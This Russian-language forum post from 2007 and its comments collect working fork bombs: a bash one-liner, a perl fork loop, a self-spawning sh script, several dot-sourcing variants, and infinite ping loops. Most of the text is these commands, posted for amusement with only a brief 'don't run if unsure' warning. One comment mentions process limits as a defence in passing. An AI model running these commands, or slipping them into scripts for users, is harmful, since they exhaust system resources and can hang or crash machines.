Коллекция форк бомб


ramok аватар

ramok - Posted on 22 Февраль 2007

Время от времени в сети мне попадаются различные реализации форк бомб, и вот накопилась небольшая коллекция Ж:-)
Предупреждение: не уверен? не запускай!

1. bash

:(){ :|:&};:

2. perl

$ perl -MPOSIX -e '$pid=fork; exit if $pid; setid; fork while(1)'

3. sh
создаем файлик с таким содержимым и запускаем его

#!/bin/sh
$0 & $0 &

4. sh by Anonymous

$ echo '. ./_&. ./_'>_;. ./_

придумал вариацию на тему

. ./_`echo . ./_\&. ./_>_`

Присылайте другие варианты Ж:-)

0
Ваша оценка: Ничего

Еще одна бомба, немного с другим принципом - с распараллеливанием цикла:

for x in $(< /dev/zero); do (ping localhost) ; done

Не проверял, но тоже должно хорошо срабатывать ;-))
UPD: не сдержался, проверил ;-)) Машину не весит, но с консоли по Ctrl-C не прибивается.

распаралеливания цикла я тут не вижу. вот если бы после ping localhost был &, тогда другое дело.
а не прибивается с консоли, потому что слишком быстро перезапускает ping. если после него поставить sleep 1; тогда можно будет прервать.

вот это действительно может затормозить машину

$ while :; do ping localhost&; done

Возможно. Сочинял экспромптом ;-)) В принципе, "for x in $(< /dev/zero)" - это та же конструкция, что и в "распараллеливающем цикле", только в качестве файла взят /dev/zero ради его "бесконечности". С "&" согласен. Скобки полезны, т.к. команда в скобках запускается в окружении своей копии интерпретатора.

echo '. ./_&. ./_'>_;. ./_

хе. должно работать Ж:-) спасибо добавлю
что ли расшифровки вставлять тоже..
более короткий
echo . ./_\&. ./_>_;. ./_
более жесткий фариант:
echo '. ./_&. ./_&'>_;. ./_

--
Signature invent in progress 23% #.........

про лимиты бы хоть упомянули или ссылку какую дали. А то так новичков можно до инфаркта довести :=)

типс для типа экспертов Ж:-)
надо наверное отдельный типс набросать для новичков что как и как с этим бороться..
--
Signature invent in progress 23% #.........

сначала создать проблему - а потом создать решение по борьбе с ней ;)

само собой.. это называется "наступить на грабл.. ээ.. рассмотреть проблему со всех сторон" Ж:-)
--
Signature invent in progress 23% #.........

>>Предупреждение: не запускайте, если только точно не знаете что делаете!

три раза прочитал, чтобы понять -- делать, если знаю или не делать, если не знаю :))) плохо звучит двойное отрицание.

так лучше? Ж:-)
--
Signature invent in progress 23% #.........

Блин, запустил и не долждался окончания комманды ))

Отправить комментарий

Google Friend Connect (leave a quick comment)
loading...
Содержание этого поля является приватным и не предназначено к показу.